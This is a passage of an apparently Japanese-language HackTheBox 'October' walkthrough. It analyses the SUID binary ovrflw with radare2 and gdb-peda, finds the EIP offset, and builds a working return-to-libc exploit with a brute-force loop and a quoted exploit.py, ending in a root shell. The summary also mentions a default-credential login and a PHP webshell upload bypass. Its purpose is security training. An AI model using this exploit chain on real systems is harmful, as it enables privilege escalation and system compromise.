AAAAAAAAAAgAAAAbwIAAPSCBAgAAAAAEgALAABjcnRzdHVmZi5jAF9fSkNSX0xJU1RfXwBkZXJlZ2lzdGVyX3RtX2Nsb25lcwByZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9iYWxfZHRvcnNfYXV4AGNvbXBsZXRlZC42NTkxAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2FycmF5X2VudHJ5AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQBvdnJmbHcuYwBfX0ZSQU1FX0VORF9fAF9fSkNSX0VORF9fAF9faW5pdF9hcnJheV9lbmQAX0RZTkFNSUMAX19pbml0X2FycmF5X3N0YXJ0AF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBfX2xpYmNfY3N1X2ZpbmkAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAF9feDg2LmdldF9wY190aHVuay5ieABkYXRhX3N0YXJ0AHByaW50ZkBAR0xJQkNfMi4wAF9lZGF0YQBfZmluaQBzdHJjcHlAQEdMSUJDXzIuMABfX2RhdGFfc3RhcnQAX19nbW9uX3N0YXJ0X18AZXhpdEBAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAF9fbGliY19jc3VfaW5pdABfZW5kAF9zdGFydABfZnBfaHcAX19ic3Nfc3RhcnQAbWFpbgBfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fVE1DX0VORF9fAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX2luaXQA" | base64 -d > ovrflw
表層解析
ハッシュ値を算出して破損していないことを確認します。
┌──(kali㉿kali)-[~/october]
└─$ rahash2 -amd5 ovrflw
ovrflw: 0x00000000-0x00001cd0 md5: 0e531949d891fd56a2ead07610cc5ded
Binary info
引数に解析対象のovrflwを指定して、radare2を起動します。iIコマンド(Binary info)でバイナリの情報を調べます。
┌──(kali㉿kali)-[~/october]
└─$ r2 ovrflw
[0x08048380]> iI
arch x86
baddr 0x8048000
binsz 7377
bintype elf
bits 32
canary false
class ELF32
compiler GCC: (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4
crypto false
endian little
havecode true
intrp /lib/ld-linux.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine Intel 80386
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath NONE
sanitiz false
static false
stripped false
subsys linux
va true
bintype、class、osの各フィールドから、ovrflwプログラムがLinuxで動作する32ビットの実行可能なELFファイルであることを示しています。
arch、bits、endian、machineの各フィールドから、そのファイルがx86コードでビルドされたことを示しています。
さらに、langフィールドから、ファイルがC言語からコンパイルされたことを示しています。
インポート
インポートされた関数の情報を表示させます。
[0x08048380]> ii
[Imports]
nth vaddr bind type lib name
―――――――――――――――――――――――――――――――――――――
1 0x08048330 GLOBAL FUNC printf
2 0x08048340 GLOBAL FUNC strcpy
3 0x08048350 WEAK NOTYPE __gmon_start__
4 0x08048360 GLOBAL FUNC exit
5 0x08048370 GLOBAL FUNC __libc_start_main
注目すべきは、strcpy関数です。strcpy関数はコピー元の文字列をそのまま書込むので、コピー先の領域を超えて上書きする危険性(バッファオーバーフローの原因になり得る可能性)があります。
データセクションにおけるASCII情報
[0x08048380]> iz
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000560 0x08048560 26 27 .rodata ascii Syntax: %s <input string>\n
動的解析
ファジング(Fuzzing)
ovrflwにファズ(fuzz)データ「A」を送信してみます。10 bytesステップで確認すると、120 bytesまで送信するとSegmentation fault (core dumped)が発生しました。
┌──(kali㉿kali)-[~/october]
└─$ chmod +x ovrflw
┌──(kali㉿kali)-[~/october]
└─$ ls -al ovrflw
-rwxr-xr-x 1 kali kali 7377 Apr 4 22:36 ovrflw
┌──(kali㉿kali)-[~/october]
└─$ ./ovrflw AAAAAAAAAA 139 ⨯
┌──(kali㉿kali)-[~/october]
└─$ ./ovrflw $(python -c 'print "A"*120')
zsh: segmentation fault ./ovrflw $(python -c 'print "A"*120')
静的解析
gdb-pedaのインストール
デバッガとして「gdb-peda」を使用します。
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
セキュリティ機構の確認
checksecコマンドを使い、ovrflwプログラムに実装されているセキュリティ機能について確認します。
NXビット(No eXecute)が有効化されています。
すなわち、バッファ領域は実行できない領域としてフラッグが立てられています。この場合、CPUはNXビットが有効になっているメモリ領域のプログラムを実行せずにエラーを返します。
今後の攻撃戦略を検討する上で重要なポイントの一つです。
GDBによる実行
ovrflwプログラムをGDBで開き、実行します。
┌──(kali㉿kali)-[~/october]
└─$ gdb ./ovrflw
gdb-peda$ break main
Breakpoint 1 at 0x8048480
gdb-peda$ run
Starting program: /home/kali/october/ovrflw
EIPの制御
EIPを上書きする正確な文字数の特定を試みます。必要となるテスト用のパターンを作成します。
gdb-peda$ pattern_create 120
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'
gdb-peda$ pset arg 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'
gdb-peda$ pshow arg
arg[1]: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA
パターン作成後に実行します。
ブレークポイントに到達したら、continueまたはcを押して続行させます。
EIPが0x41384141にて上書きされていることが解ります。
patter_offsetを使用して、正確なバイトカウントを取得します。112 bytesであることが判明しました。
gdb-peda$ pattern_offset 0x41384141 120
1094205761 found at offset: 112
Offsetの検証
次のパラメータ戦略にてovrflwプログラムを実行します。
-
112 bytesのA(16進コードは0x41)でバッファを上書き -
EIPの値を42424242(Bの16進コードは0x42)で上書き
┌──(kali㉿kali)-[~/october]
└─$ gdb ./ovrflw
gdb-peda$ run `python -c 'print "A"*112 + "BBBB"'`
EIPを42424242にて上書きすることに成功したことが確認できます。
Stopped reason: SIGSEGV
0x42424242 in ?? ()
Return-to-libc(ret2libc)
すでにchecksecコマンドの結果から、NXが有効化されていることが判明しています。
このため、シェルコードを流し込むことはできません。
従って、libc内に存在している関数を呼び出す「Return-to-libc」(ret2libc)による攻撃を実現すべく検討を行います。
「Return-to-libc」では、従来のスタックバッファオーバーフローのように、スタック上の命令に制御を戻すのではなく、特定のダイナミックライブラリ関数に対応するアドレスにプログラムを戻すようにします。
このダイナミックライブラリ関数はスタック上には存在しないため、スタック実行の制限(NX)を回避することができます。どのダイナミックライブラリ関数に戻るかは慎重に選択しますが、理想的には次の2つの条件が揃っていることが望ましいです。
- ほとんどのプログラムに搭載されている、一般的なダイナミックライブラリであること。
- ライブラリ内の関数は、シェルを起動したり、必要なことができるように、できるだけ柔軟性があること。
ret2libc攻撃実現に必要な情報
ここからは、october.htb側に戻り作業を進めます。
ovrflwプログラムにリンクされているライブラリを確認するために、lddコマンドを使用します。
$ ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ce000)
libc.so.6 は都合のよいライブラリです。C言語の関数をほぼすべて含んでいます。次にすべきことは、使用したいライブラリ関数のアドレスに実行を誘導するだけです。
今回は、system()に引数として/bin/shを与えて実行する(すなわち、シェルを生成する)ことを計画します。
まず、libc.so.6のsystemとexitのアドレスをreadelfコマンドにて確認します。
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -e " system@" -e " exit@"
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
次に、/bin/shのアドレスをstringsコマンドにて確認します。
オプションの意図は次のとおりです。
-
-a:ファイル全体をスキャンする。 -
-t x:「x(16進数)」を指定して、文字列の前に位置を表示する。
$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/"
162bac /bin/sh
164b10 /bin/csh
それぞれのアドレスを書き留めます。
| 計算 | アドレス | リトルエディアン表記 | |
|---|---|---|---|
| system | 0xb75f8000+0x40310 | 0xB7638310 | \x10\x83\x63\xb7 |
| /bin/sh | 0xb75f8000+0x162bac | 0xB775ABAC | \xac\xab\x75\xb7 |
| exit | 0xb75f8000+0x33260 | 0xB762B260 | \x60\xb2\x62\xb7 |
エクスプロイトコードの構築
$ /usr/local/bin/ovrflw $(python -c 'print "A"*112 + "\x60\xb2\x62\xb7" + "\x10\x83\x63\xb7" + "\xac\xab\x75\xb7"');
Segmentation fault (core dumped)
「ASLR(Address Space Layout Randomization)」が有効になっているため、シェルを取得するまでループで実行します。
$ while true; do /usr/local/bin/ovrflw $(python -c 'print "A"*112 + "\x60\xb2\x62\xb7" + "\x10\x83\x63\xb7" + "\xac\xab\x75\xb7"'); done
Artis3nal Mistakesによる、Exploitコードが可読性が高いので紹介しておきます。
exploit.py#!/usr/bin/env python from subprocess import call import struct buffersled = "A"*112 libc = 0xb75f8000 system = struct.pack('<I', libc + 0x00040310) exit = struct.pack('<I', libc + 0x00033260) binsh = struct.pack('<I', libc + 0x00162bac) payload = buffersled + system + exit + binsh i = 0 while (i < 512): print("Try %s" % i) i += 1 ret = call(["/usr/local/bin/ovrflw", payload])
# cd /root
# ls -l
total 4
-r-------- 1 root root 33 Apr 21 2017 root.txt
# cat root.txt
6bcb{BLOCKED}0318
まとめ
一般ユーザのアクセス権取得
-
http-titleヘッダからOctober CMS - Vanillaが稼働していることを特定しました。 -
OWASP DirBusterによってOctober CMSのログイン画面を特定しました。 - 管理コンソールのアカウントが初期設定のまま(
admin/admin)運用されていることを特定しました。 -
October CMSの脆弱性(EDB-ID 41936)をファイルアップロードフィルターを迂回し、PHP WebShellを設置しました。
特権昇格
-
SUID (4000)が付与された/usr/local/bin/ovrflwプログラムを特定しました。 - Return-to-libc攻撃によりNX、ASLRを迂回しシェルを獲得しました。
参考情報
Walkthrough
- 0xdf hacks stuff 「HTB: October」
- Teck_k2 「October(HTB)」
- Artis3nal Mistakes 「Buffer Overflow ASLR Bypass on HackTheBox October - with Metasploit」
Return-to-libc
- 清水祐太郎, 竹迫良範, 新穂隼人, 長谷川千広, 廣田一貴, 保要隆明, 美濃圭佑, 三村聡志, 森田浩平, 八木橋優, 渡部裕, SECCON実行委員会 『セキュリティコンテストのためのCTF問題集』, マイナビ出版 (2017/7/28)
- Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte 『The Shellcoder's Handbook: Discovering and Exploiting Security Holes』
- Chihiro 「Return to libc」











